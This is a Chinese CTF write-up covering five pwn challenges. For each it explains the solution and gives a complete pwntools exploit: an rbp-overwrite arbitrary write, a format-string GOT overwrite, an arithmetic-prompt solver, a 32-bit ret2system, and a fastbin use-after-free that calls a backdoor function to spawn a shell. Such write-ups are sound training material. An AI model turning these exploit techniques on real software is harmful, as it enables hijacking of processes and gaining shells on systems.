【PWN】stack (覆盖rbp修改bss变量)
本题思路如下:
main函数,判断passwd和v4是不是都等于4660,是的话就给shell,其中passwd是在bss段的全局变量,v4是在栈上由用户输入的变量

test1函数:
有一个八字节的溢出,只能覆盖到rbp

所以本题就是要想方设法利用这八字节溢出来修改bss段上passwd变量的值。
在64位程序中,scanf的写入地址是从rsi寄存器得到的,而rsi寄存器又与rbp有关,如下所示:
注意到函数给scanf传参的时候

所以只要能覆盖到rbp,就能篡改scanf的写入地址,然后就能实现任意地址写了。
所以有:
passwd= 0x4033cc
payload = cyclic(80)+ p64(passwd+ 4)
(为什么是passwd+ 4,因为var_4是-4,所以得给它加回去)
这样在下次调用scanf时候就会同时往v4和passwd处写了。

完整exp:
from pwn import *
context.log_level='debug'
p = process("/home/monke/polard2024winter/stack/stack")
p = remote("1.95.36.136",2134)
passwd= 0x4033cc
payload = cyclic(80)+ p64(passwd+4)
p.sendline(payload)
p.sendlineafter("1:\n",b'4660')
p.interactive()
【PWN】tangniu
本题思路如下:
Fun函数里面套了个drink函数,条件是
while ( strchr(buf, 115) )
也就是当buf中有s时候就会一直while下去


drink函数:
开了canary


我一开始的思路是用printf来泄露canary,但是很快发现做不到,因为只有一个read。那用fmt来泄露呢?通过动调得到基础偏移是7,canary的偏移是23,如图:

所以思路就是:
第一次进入drink时获取canary值,第二次进入drink时候直接溢出,题目有system也有binsh,可以直接用。
但是打了好多次都发现会检测到canary被篡改,有点疑惑,按理来说canary应该没问题才对。后来仔细想明白了,第一次和第二次进入drink时候的canary值不一样,用前一次的canary肯定就不行,那就只能继续找别的办法。
然后想到题目只开了Partial RELRO,也就是说可以直接篡改GOT表,
题目中有一行 printf(“/bin/sh”); 如图:

那就直接把GOT表中的printf地址改成system地址就完事了,原来这题这么简单,绕了一大圈。。。

完整exp:
from pwn import*
p=remote("1.95.36.136",2127)
context.log_level="info"
#p=process("/home/monke/polard2024winter/tangniu/tangniu")
elf=ELF('/home/monke/polard2024winter/tangniu/tangniu')
system=elf.sym["system"]
printf = elf.got['printf']
binsh=0x0804885e
p.sendline(b"s")
payload = fmtstr_payload(7, {printf: system})
p.sendline(payload)
p.interactive()
【PWN】bllbl_bind_calc
本题思路如下:
题目没给附件,nc过去是一连串的计算,输入答案对了就继续,错了就退出程序,如图:

后面就一直重复
“看看这道题怎么样: 954 + 116 + 518 – 249 – 893 = ?
请作答:”
直接写脚本来算,但是如果用while(1)来调用脚本会卡住,因为并不知道程序什么时候会进入下一步,然后还一直p.recvuntil(“看看这道题怎么样: “),肯定接收不到,那就用笨方法,设置一个n来计算每一次卡住循环了多少次。
测了几次都是在520处停住,那么就得到了循环次数519

最后一次手动计算,然后就能拿到flag:

完整exp:
from pwn import *
context.log_level='info'
p = remote("1.95.36.136",2097)
def calc():
p.recvuntil("看看这道题怎么样: ")
num=int(p.recvuntil(" ",drop=True),10)
while(1):
fuhao=p.recv(1)
if (fuhao==b"="):
break
p.recv(1)
num1=int(p.recvuntil(" ",drop=True),10)
if (fuhao==b"+"):
num=num+num1
elif (fuhao==b"-"):
num=num-num1
p.sendline(str(num))
n=0
p.sendline(b'1')
p.sendline(b'2')
p.sendline(b'22')
for i in range (519):
n=n+1
calc()
print(n)
p.interactive()
【PWN】likelibc3
本题思路如下:
本题为32位,给了一个栈溢出点,不限制溢出长度,同时也给了system和binsh,那就直接打就行,如图:


完整exp:
from pwn import*
p=remote("1.95.36.136",2050)
context.log_level="debug"
#p=process("/home/monke/polard2024winter/likelibc3/likelibc3")
elf=ELF('/home/monke/polard2024winter/likelibc3/likelibc3')
binsh=0x0804857c
system=elf.sym["system"]
payload=cyclic(44+4)+p32(system)+p32(0)+p32(binsh)
p.sendline(payload)
p.interactive()

【PWN】hack
简单UAF;
先申请chunk1,再申请chunk2,依次free掉,此时fastbin里面就有chunk1和chunk2,然后我再申请chunk3,(由于fastbin先进后出),chunk3的本体就会拿到chunk2的内存,然后申请chunk3的content字段跟chunk结构体大小一样(8bytes)的话,就会把chunk1的内存分配给它
所以此时修改chunk3的content就是修改chunk1,改前四字节为后门函数的地址,调用print_note,就会调用后门函数,成功拿到flag
exp:
from pwn import *
io = remote('1.95.36.136', 2112)
elf = ELF('/home/monke/polard2024winter/hack/hack')
magic = elf.sym["magic"]
def add(size, content):
io.recvuntil("choice :")
io.sendline("1")
io.recvuntil(":")
io.sendline(str(size))
io.recvuntil(":")
io.sendline(content)
def delete(idx):
io.recvuntil("choice :")
io.sendline("2")
io.recvuntil(":")
io.sendline(str(idx))
def show(idx):
io.recvuntil("choice :")
io.sendline("3")
io.recvuntil(":")
io.sendline(str(idx))
add(13, "aaaa")
add(13, "aaaa")
delete(1)
delete(0)
add(8, p32(magic))
show(1)
io.interactive()